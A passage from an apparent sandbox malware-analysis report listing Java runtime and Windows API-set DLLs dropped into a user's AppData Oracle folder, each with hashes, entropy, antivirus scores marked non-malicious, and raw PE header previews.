pplications. .<p> The runtime environment includes the Java<SUP><FONT SIZE=-2>TM</FONT></SUP> .  Plug-in product which supports the Java environment inside 
web browsers. .<h3>References</h3>.<p>.See the <a href="http://download.oracle.com/javase/7/docs/technotes/guides/plugin/">Java Plug-in</a> product.documentation 
for more information on using the Java Plug-in product..<p> See the <a href=."http://www.oracle.com/technetwork/java/javase/overview/".>Java Platform</a> web site for .  
more information on the Java Platform. .<hr>.<font size="-2">.Copyright (c) 2006, 2018, Oracle and/or its affiliates. All rights reserved..</font>.<p>.</body>.</html>.

C:\Users\user\AppData\Roaming\Oracle\bin\JAWTAccessBridge-32.dll

Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 15736

Entropy (8bit): 6.1841491234044375

Encrypted: false

SSDEEP: 192:3cdMW5YN83XLPVT6ysMPGpcuaiMbL1tJx+wOp/uIfH0JOqsmVgz28WhBq/OkQfq:GM+97PVaaGpcuGj+Xt/8JN77hhu+C

MD5: C81B757A9C7E535FF7C995AAC9B26ADC

SHA1: 1E933C3EC781AD6E3BC53A6C16FFB222817FB61E

SHA-256: 3A3F04859A69E7156593EB34323E4818920BA2DE7DA5C6556C9AB518028F9259

SHA-512: 100B8421B217E148EBAC9B856A6324FFC2A811FDDDFD2650E853930C47B88BFA8E20AC039D1EE4B144DE261BB0B91EBF88535C6F455D5D1B4159C571ED42D39
0
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Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 3%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........5.Z.[.Z.[.Z.[.A<..[.[.A<..Q.[.A<.._.[.S...X.[.Z.Z.D.[.A<..Y.[.A<..[.[.A<..
[.[.A<..[.[.RichZ.[.................PE..L.....\...........!......................... ...............................`............@.........................`%......,"..P....@..x............"..x....P.. .... ............................... ..@......
...... ...............................text............................... ..`.rdata..d.... ......................@..@.data...`....0......................@....rsrc...x....@......................@..@.reloc..^....P....... ...........
...@..B.............................................................................................................................................................................................................................................................
...........................................................

C:\Users\user\AppData\Roaming\Oracle\bin\JAWTAccessBridge-32.dll

C:\Users\user\AppData\Roaming\Oracle\bin\JavaAccessBridge-32.dll

Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 128888

Entropy (8bit): 6.409705724342423

Encrypted: false

SSDEEP: 3072:ovAznTOzUca38u4HTK/e2Hrgc6kZAn1yEkBKMKy1Zf22QYHJiuzTl8ShzzM+64my:ovcwUca354ZnQ5zj

MD5: AD7C3D549B9DC43146400C294EDEECD0

SHA1: 5FB491506339FDA6B973F26A24D8865EBC55B591

SHA-256: C4D19FE205A73193F1E5F3300C4D24FD2A5F58AF83E742C541C28E4CDD21E450

SHA-512: 7FC1756C1E2B2A3FEE879B55562AD82AE820FB9D8E78E99784D74C256D3D327D144FBE21162FAA7B5F655C086D23D77F36EBD0FD5C22F9F96DC196D9E0819FE
5

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 3%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........[d.@:.N@:.N@:.N[..NB:.N[..NB:.N[..NK:.NIB.NE:.N@:.N{:.N[..NG:
.N[..NA:.N[..NA:.N[..NA:.NRich@:.N........PE..L.....\...........!................#...............................................|.....@.........................p...........P.......x...............x................................
...........p...@............................................text............................... ..`.rdata..............................@..@.data...............................@....rsrc...x...........................@..@.reloc..$............
...............@..B.................................................................................................................................................................................................................................................
...............................................................................

C:\Users\user\AppData\Roaming\Oracle\bin\WindowsAccessBridge-32.dll

Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 99192

Entropy (8bit): 6.432934247604729

Encrypted: false

SSDEEP: 1536:uQLZsxXloJQrrUQ+1IFiYls/q+X8Pik8PgVCsG080PssHfghEx:oVloJQrIQ+zYlsiFPdVCsr0sHLx

MD5: 267EEF05571CD7A94BA730D0194A60AA

SHA1: 361B9FEEC9429273377FF29C84B6158D686993A6

SHA-256: DCFA3C454D330D14B9481AA3EABBFA6A5203644891714D97D3B6D92ABBFC670D

SHA-512: 3C8C69BF3618BF2D66F8754B2F126554EDD790B8029836B6235598B824BC24ACBBABB61BAE44ED45A573937EBBDE6316B1BD14E2917A397389E03C0C32D1C87
E

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 3%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./zR/k.<|k.<|k.<|p..|{.<|p..|2.<|bc.|n.<|k.=|7.<|p..|O.<|p..|j.<|p..|j.<|p..|j.
<|Richk.<|........................PE..L.....\...........!.................v..............................................sP....@..........................8..A....1..<....................h..x............................................,..@......
.........@............................text...|........................... ..`.rdata..1g.......h..................@..@.data....,...P.......8..............@....rsrc................H..............@..@.reloc..N............P...........
...@..B.............................................................................................................................................................................................................................................................
...........................................................

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-console-l1-1-0.dll

Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18744

Entropy (8bit): 7.080160932980843

Encrypted: false

SSDEEP: 192:3jBMWIghWGZiKedXe123Ouo+Uggs/nGfe4pBjS/uBmWh0txKdmVWQ4GWDZoiyqnP:GWPhWVXYi00GftpBjSemTltcwpS

MD5: 502263C56F931DF8440D7FD2FA7B7C00

SHA1: 523A3D7C3F4491E67FC710575D8E23314DB2C1A2

SHA-256: 94A5DF1227818EDBFD0D5091C6A48F86B4117C38550343F780C604EEE1CD6231

SHA-512: 633EFAB26CDED9C3A5E144B81CBBD3B6ADF265134C37D88CFD5F49BB18C345B2FC3A08BA4BBC917B6F64013E275239026829BA08962E94115E94204A47B8022
1

Malicious: false
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Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....."............!..
....................... ...............................0.......J....@.............................+............ ..................8=..............T............................................................................text...+........................... .
.`.rsrc........ ......................@..@......".........;...T...T.........".........d.................".....................RSDSMB...5.G.8.'.d.....api-ms-win-core-console-l1-1-0.pdb..........T....rdata..T....
....rdata$zzzdbg.......+....edata... ..`....rsrc$01....` .......rsrc$02......................".....................(...`...............,...W...................G...o...............................D...s...............5...b..........
.....................................api-ms-win-core-console-l1-1-0.dll.AllocConsole.kern

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-console-l1-1-0.dll

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-datetime-l1-1-0.dll

Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18232

Entropy (8bit): 7.093995452106596

Encrypted: false

SSDEEP: 192:RWIghWG4U9xluZo123Ouo+Uggs/nGfe4pBjSbMDPxVWh0txKdmVWQ4CWrDry6qnZ:RWPhWFv0i00GftpBjBHem6plUG+zIw

MD5: CB978304B79EF53962408C611DFB20F5

SHA1: ECA42F7754FB0017E86D50D507674981F80BC0B9

SHA-256: 90FAE0E7C3644A6754833C42B0AC39B6F23859F9A7CF4B6C8624820F59B9DAD3

SHA-512: 369798CD3F37FBAE311B6299DA67D19707D8F770CF46A8D12D5A6C1F25F85FC959AC5B5926BC68112FA9EB62B402E8B495B9E44F44F8949D7D648EA7C572CF8C

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...A..............!..
....................... ...............................0.......#....@.......................................... ..................8=..............T............................................................................text............................... .
.`.rsrc........ ......................@..@....A...........<...T...T.......A...........d...............A.......................RSDS...W,X.l..o....4....api-ms-win-core-datetime-l1-1-0.pdb.........T....rdata..T...
.....rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02....................A.......P...............(...8...H...................t.......................api-ms-win-core-datetime-l1-1-0.dll.GetDat
eFormatA.kernel32.GetDateFormatA.GetDateFormatW.kernel32.GetDateFormatW.GetTimeFormatA.kernel32.GetTimeFormatA

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-debug-l1-1-0.dll

Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18232

Entropy (8bit): 7.1028816880814265

Encrypted: false

SSDEEP: 384:cWPhWM4Ri00GftpBj2YILemtclD16PaEC:l10oiBQe/L

MD5: 88FF191FD8648099592ED28EE6C442A5

SHA1: 6A4F818B53606A5602C609EC343974C2103BC9CC

SHA-256: C310CC91464C9431AB0902A561AF947FA5C973925FF70482D3DE017ED3F73B7D

SHA-512: 942AE86550D4A4886DAC909898621DAB18512C20F3D694A8AD444220AEAD76FA88C481DF39F93C7074DBBC31C3B4DAF97099CFED86C2A0AAA4B63190A4B307F
D

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!..
....................... ...............................0......GF....@.......................................... ..................8=..............T............................................................................text............................... .
.`.rsrc........ ......................@..@................9...T...T...................d.......................................RSDS.j..v..C...B..h....api-ms-win-core-debug-l1-1-0.pdb............T....rdata..T....
....rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................P...............(...8...H...|...............q.......................api-ms-win-core-debug-l1-1-0.dll.DebugBreak
.kernel32.DebugBreak.IsDebuggerPresent.kernel32.IsDebuggerPresent.OutputDebugStringA.kernel32.OutputDebugStri

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-errorhandling-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18232

Entropy (8bit): 7.126358371711227

Encrypted: false

SSDEEP: 192:NFmxD3PWIghWGJY/luZo123Ouo+Uggs/nGfe4pBjSffcp8Wh0txKdmVWQ4yWRzOr:NFkWPhW60i00GftpBj4emHlD16Pa7v

MD5: 6D778E83F74A4C7FE4C077DC279F6867

SHA1: F5D9CF848F79A57F690DA9841C209B4837C2E6C3

SHA-256: A97DCCA76CDB12E985DFF71040815F28508C655AB2B073512E386DD63F4DA325

SHA-512: 02EF01583A265532D3970B7D520728AA9B68F2B7C309EE66BD2B38BAF473EF662C9D7A223ACF2DA722587429DA6E4FBC0496253BA5C41E214BEA240CE824E8A
2

Malicious: false
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https://www.metadefender.com/#!/results/file/YnpJeE1ETXpNVGM1ZFhOWE0wVnNZUXRIeUJGT00xcTk/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ETXpNVGM1ZFhOWE0wVnNZUUZtLUxBcEFsbEc/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ETXpNVGM1ZFhOWE0wVnNZUWV1bGt3Zi1qOXA/regular/analysis


Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\x.............!..
....................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... .
.`.rsrc........ ......................@..@....\x..........A...T...T.......\x..........d...............\x......................RSDS.1....U45.z.d.....api-ms-win-core-errorhandling-l1-1-0.pdb............T....rdata
..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............\x......n...............(...D...`...................4...f.......................'...J.....................api-ms-win-core-errorhan
dling-l1-1-0.dll.GetErrorMode.kernel32.GetErrorMode.GetLastError.kernel32.GetLastError.RaiseExcept

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-errorhandling-l1-1-0.dll

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-file-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 21816

Entropy (8bit): 7.014255619395433

Encrypted: false

SSDEEP: 384:d6PvVXHWPhWnsnhi00GftpBjaJemyDlD16PamW8:UPvVX85nhoisJeLt8

MD5: 94AE25C7A5497CA0BE6882A00644CA64

SHA1: F7AC28BBC47E46485025A51EEB6C304B70CEE215

SHA-256: 7EA06B7050F9EA2BCC12AF34374BDF1173646D4E5EBF66AD690B37F4DF5F3D4E

SHA-512: 83E570B79111706742D0684FC16207AE87A78FA7FFEF58B40AA50A6B9A2C2F77FE023AF732EF577FB7CD2666E33FFAF0E427F41CA04075D83E0F6A52A177C2B0

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!...
......................0...............................@......./....@..........................................0..................8=..............T............................................................................text............................... ..
`.rsrc........0......................@..@...............8...T...T..................d......................................RSDS.0...B..8....G....api-ms-win-core-file-l1-1-0.pdb.........T....rdata..T........rdata
$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................K...K.......D...p...6...`.......................?...l...............A...................6..._...................;...e............... ...I...n....
...........-...d...................*...g...............*...U...................M...

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-file-l1-2-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18232

Entropy (8bit): 7.112057846012794

Encrypted: false

SSDEEP: 192:IWIghWGJnWdsNtL/123Ouo+Uggs/nGfe4pBjSfcD63QXWh0txKdmVWQ4yW1rwqnh:IWPhWlsnhi00GftpBjnem9lD16PamFP

MD5: E2F648AE40D234A3892E1455B4DBBE05

SHA1: D9D750E828B629CFB7B402A3442947545D8D781B

SHA-256: C8C499B012D0D63B7AFC8B4CA42D6D996B2FCF2E8B5F94CACFBEC9E6F33E8A03

SHA-512: 18D4E7A804813D9376427E12DAA444167129277E5FF30502A0FA29A96884BF902B43A5F0E6841EA1582981971843A4F7F928F8AECAC693904AB20CA40EE4E954

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...._.L....
.......!......................... ...............................0............@.............................L............ ..................8=..............T............................................................................text...<...................
........ ..`.rsrc........ ......................@..@....._.L........8...T...T........_.L........d................_.L....................RSDS........g"Y........api-ms-win-core-file-l1-2-0.pdb.........T....rdata..T........
rdata$zzzdbg.......L....edata... ..`....rsrc$01....` .......rsrc$02........._.L....@...................(...8...l...............`.......................api-ms-win-core-file-l1-2-0.dll.CreateFile2.kerne
l32.CreateFile2.GetTempPathW.kernel32.GetTempPathW.GetVolumeNameForVolumeMountPointW.kernel32.GetVolumeNameForVolumeMou

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-file-l2-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18232

Entropy (8bit): 7.166618249693435

Encrypted: false

SSDEEP: 192:BZwWIghWG4U9ydsNtL/123Ouo+Uggs/nGfe4pBjSbUGHvNWh0txKdmVWQ4CWVU9h:UWPhWFBsnhi00GftpBjKvxemPlP55QQ7

MD5: E479444BDD4AE4577FD32314A68F5D28

SHA1: 77EDF9509A252E886D4DA388BF9C9294D95498EB

SHA-256: C85DC081B1964B77D289AAC43CC64746E7B141D036F248A731601EB98F827719

SHA-512: 2AFAB302FE0F7476A4254714575D77B584CD2DC5330B9B25B852CD71267CDA365D280F9AA8D544D4687DC388A2614A51C0418864C41AD389E1E847D81C3AB744

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...4..|...........!..
....................... ...............................0......t.....@.......................................... ..................8=..............T............................................................................text...}........................... .
.`.rsrc........ ......................@..@....4..|........8...T...T.......4..|........d...............4..|....................RSDS.=.Co.P..Gd./%P....api-ms-win-core-file-l2-1-0.pdb.........T....rdata..T........
rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........4..|........................D...p...............#...P...................;...g...................<...m...............%...Z.........................api-ms-
win-core-file-l2-1-0.dll.CopyFile2.kernel32.CopyFile2.CopyFileExW.kernel32.CopyFileExW.Crea

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-handle-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
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Category: dropped

Size (bytes): 18232

Entropy (8bit): 7.1117101479630005

Encrypted: false

SSDEEP: 384:AWPhWXDz6i00GftpBj5FrFaemx+lDbNh/6:hroidkeppp

MD5: 6DB54065B33861967B491DD1C8FD8595

SHA1: ED0938BBC0E2A863859AAD64606B8FC4C69B810A

SHA-256: 945CC64EE04B1964C1F9FCDC3124DD83973D332F5CFB696CDF128CA5C4CBD0E5

SHA-512: AA6F0BCB760D449A3A82AED67CA0F7FB747CBB82E627210F377AF74E0B43A45BA660E9E3FE1AD4CBD2B46B1127108EC4A96C5CF9DE1BDEC36E993D0657A61
5B6

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....G.....
......!......................... ...............................0......V.....@............................._............ ..................8=..............T............................................................................text..._....................
....... ..`.rsrc........ ......................@..@......G........:...T...T.........G........d.................G....................RSDSQ..{...IS].0.> ....api-ms-win-core-handle-l1-1-0.pdb...........T....rdata.
.T........rdata$zzzdbg......._....edata... ..`....rsrc$01....` .......rsrc$02......................G....Z...............(...<...P...................A...|...............,.............api-ms-win-core-handle-l1-1-
0.dll.CloseHandle.kernel32.CloseHandle.CompareObjectHandles.kernel32.CompareObjectHandles.DuplicateHandle.kernel32

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-handle-l1-1-0.dll

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-heap-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18232

Entropy (8bit): 7.174986589968396

Encrypted: false

SSDEEP: 192:GElqWIghWGZi5edXe123Ouo+Uggs/nGfe4pBjS/PHyRWh0txKdmVWQ4GWC2w4Dj3:GElqWPhWCXYi00GftpBjP9emYXlDbNs

MD5: 2EA3901D7B50BF6071EC8732371B821C

SHA1: E7BE926F0F7D842271F7EDC7A4989544F4477DA7

SHA-256: 44F6DF4280C8ECC9C6E609B1A4BFEE041332D337D84679CFE0D6678CE8F2998A

SHA-512: 6BFFAC8E157A913C5660CD2FABD503C09B47D25F9C220DCE8615255C9524E4896EDF76FE2C2CC8BDEF58D9E736F5514A53C8E33D8325476C5F605C2421F15C7
D

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....:............!..
....................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... .
.`.rsrc........ ......................@..@......:.........8...T...T.........:.........d.................:.....................RSDS.K....OB;....X......api-ms-win-core-heap-l1-1-0.pdb.........T....rdata..T.......
.rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02..........:.........................X...............2...Q...q.......................C...h...........................(...E...f.......................0..._...z.....
..........................................api-ms-win-core-heap-l1-1-0.dll.GetProcessHeap.k

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-interlocked-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 17856

Entropy (8bit): 7.076803035880586

Encrypted: false

SSDEEP: 192:DtiYsFWWIghWGQtu7B123Ouo+Uggs/nGfe4pBjSPiZadcbWh0txKdmVWQ4mWf2FN:5iYsFWWPhWUTi00GftpBjremUBNlgC

MD5: D97A1CB141C6806F0101A5ED2673A63D

SHA1: D31A84C1499A9128A8F0EFEA4230FCFA6C9579BE

SHA-256: DECCD75FC3FC2BB31338B6FE26DEFFBD7914C6CD6A907E76FD4931B7D141718C

SHA-512: 0E3202041DEF9D2278416B7826C61621DCED6DEE8269507CE5783C193771F6B26D47FEB0700BBE937D8AFF9F7489890B5263D63203B5BA99E0B4099A5699C620

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....$.............!..
....................... ...............................0...........@.......................................... ...................9..............T............................................................................text............................... ..
`.rsrc........ ......................@..@.....$..........?...T...T........$..........d................$......................RSDS#.......,.S.6.~j....api-ms-win-core-interlocked-l1-1-0.pdb..........T....rdata..T
........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.................$......................(...T...............L...............!...U...................1.......p...............@...s..........................
.......api-ms-win-core-interlocked-l1-1-0.dll.InitializeSListHead.kernel32.InitializeSLis

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-libraryloader-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18744

Entropy (8bit): 7.131154779640255

Encrypted: false

SSDEEP: 384:yHvuBL3BmWPhWZTi00GftpBjNKnemenyAlvN9W/L:yWBL3BXYoinKne1yd

MD5: D0873E21721D04E20B6FFB038ACCF2F1

SHA1: 9E39E505D80D67B347B19A349A1532746C1F7F88
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SHA-256: BB25CCF8694D1FCFCE85A7159DCF6985FDB54728D29B021CB3D14242F65909CE

SHA-512: 4B7F2AD9EAD6489E1EA0704CF5F1B1579BAF1061B193D54CC6201FFDDA890A8C8FACB23091DFD851DD70D7922E0C7E95416F623C48EC25137DDD66E32DF9A63
7

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....u*l...........!..
....................... ...............................0......9.....@.......................................... ..................8=..............T............................................................................text............................... .
.`.rsrc........ ......................@..@.....u*l........A...T...T........u*l........d................u*l....................RSDSU..e.j.(.wD.......api-ms-win-core-libraryloader-l1-1-0.pdb............T....rdata
..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............u*l....................(...p...........R...}...............*...Y...................8..._.......................B...k...................F...
u...............)...P...w...................................................api-ms-win-c

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-libraryloader-l1-1-0.dll

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-localization-l1-2-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 20792

Entropy (8bit): 7.089032314841867

Encrypted: false

SSDEEP: 384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBj6cemjlD16Pa+4r:KOMwBprwjGjue9/0jCRrndbCOoireqv

MD5: EFF11130BFE0D9C90C0026BF2FB219AE

SHA1: CF4C89A6E46090D3D8FEEB9EB697AEA8A26E4088

SHA-256: 03AD57C24FF2CF895B5F533F0ECBD10266FD8634C6B9053CC9CB33B814AD5D97

SHA-512: 8133FB9F6B92F498413DB3140A80D6624A705F80D9C7AE627DFD48ADEB8C5305A61351BF27BBF02B4D3961F9943E26C55C2A66976251BB61EF1537BC8C212ADD

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...S.v.....
.......!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text.......................
........ ..`.rsrc........ ......................@..@....S.v.........@...T...T.......S.v.........d...............S.v.....................RSDS..pS...Z4Yr.E@......api-ms-win-core-localization-l1-2-0.pdb.........T.
...rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................S.v.....v.......;...;...(.......................<...f.......................5...]...................!...I...q...................
N.............../...j.............../...^.................../...\...................8...`...........

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-memory-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18744

Entropy (8bit): 7.101895292899441

Encrypted: false

SSDEEP: 384:+bZWPhWUsnhi00GftpBjwBemQlD16Par7:b4nhoi6BedH

MD5: D500D9E24F33933956DF0E26F087FD91

SHA1: 6C537678AB6CFD6F3EA0DC0F5ABEFD1C4924F0C0

SHA-256: BB33A9E906A5863043753C44F6F8165AFE4D5EDB7E55EFA4C7E6E1ED90778ECA

SHA-512: C89023EB98BF29ADEEBFBCB570427B6DF301DE3D27FF7F4F0A098949F987F7C192E23695888A73F1A2019F1AF06F2135F919F6C606A07C8FA9F07C00C64A34B5

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....%(....
.......!......................... ...............................0............@.............................l............ ..................8=..............T............................................................................text...l...................
........ ..`.rsrc........ ......................@..@......%(........:...T...T.........%(........d.................%(....................RSDS.~....%.T.....CO....api-ms-win-core-memory-l1-1-0.pdb...........T....r
data..T........rdata$zzzdbg.......l....edata... ..`....rsrc$01....` .......rsrc$02......................%(....................(...h...........)...P...w...................C...g...................%...P...........B...g.....
..............4...[...|...................=...................................api-ms-win-core-memory-l1-1-0.dl

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-namedpipe-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18232

Entropy (8bit): 7.16337963516533

Encrypted: false

SSDEEP: 192:pgWIghWGZiBeS123Ouo+Uggs/nGfe4pBjS/fE/hWh0txKdmVWQ4GWoxYyqnaj/6B:iWPhWUEi00GftpBj1temnltcwWB

MD5: 6F6796D1278670CCE6E2D85199623E27

SHA1: 8AA2155C3D3D5AA23F56CD0BC507255FC953CCC3

SHA-256: C4F60F911068AB6D7F578D449BA7B5B9969F08FC683FD0CE8E2705BBF061F507

SHA-512: 6E7B134CA930BB33D2822677F31ECA1CB6C1DFF55211296324D2EA9EBDC7C01338F07D22A10C5C5E1179F14B1B5A4E3B0BAFB1C8D39FCF1107C57F9EAF063A7
B

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L... ..............!..
....................... ...............................0.......-....@.......................................... ..................8=..............T............................................................................text............................... .
.`.rsrc........ ......................@..@.... ...........=...T...T....... ...........d............... .......................RSDS...IK..XM.&......api-ms-win-core-namedpipe-l1-1-0.pdb............T....rdata..T..
......rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................ .......................(...P...x...............:...w...............O...y...............&...W...............=...j.......................api-ms-
win-core-namedpipe-l1-1-0.dll.ConnectNamedPipe.kernel32.ConnectNamedPipe.CreateNamedP

Copyright Joe Security LLC 2021 Page 32 of 577



C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-processenvironment-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 19248

Entropy (8bit): 7.073730829887072

Encrypted: false

SSDEEP: 192:wXjWIghWGd4dsNtL/123Ouo+Uggs/nGfe4pBjSXcYddWh0txKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5l1z6hP

MD5: 5F73A814936C8E7E4A2DFD68876143C8

SHA1: D960016C4F553E461AFB5B06B039A15D2E76135E

SHA-256: 96898930FFB338DA45497BE019AE1ADCD63C5851141169D3023E53CE4C7A483E

SHA-512: 77987906A9D248448FA23DB2A634869B47AE3EC81EA383A74634A8C09244C674ECF9AADCDE298E5996CAFBB8522EDE78D08AAA270FD43C66BEDE24115CDBDF
ED

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...).r............!..
....................... ...............................0.......:....@.............................G............ ..................0=..............T............................................................................text...G........................... .
.`.rsrc........ ......................@..@....).r.........F...T...T.......).r.........d...............).r.....................RSDS.6..~x.......'......api-ms-win-core-processenvironment-l1-1-0.pdb...........T...
.rdata..T........rdata$zzzdbg.......G....edata... ..`....rsrc$01....` .......rsrc$02........).r.....................(...|.......B...............$...M...{...............P...................6...k.............../...(...e.............
..=...f...............8...q...............!...T............... ...........................

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-processthreads-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 19392

Entropy (8bit): 7.082421046253008

Encrypted: false

SSDEEP: 384:afk1JzNcKSIJWPhW2snhi00GftpBjZqcLvemr4PlgC:RcKST+nhoi/BbeGv

MD5: A2D7D7711F9C0E3E065B2929FF342666

SHA1: A17B1F36E73B82EF9BFB831058F187535A550EB8

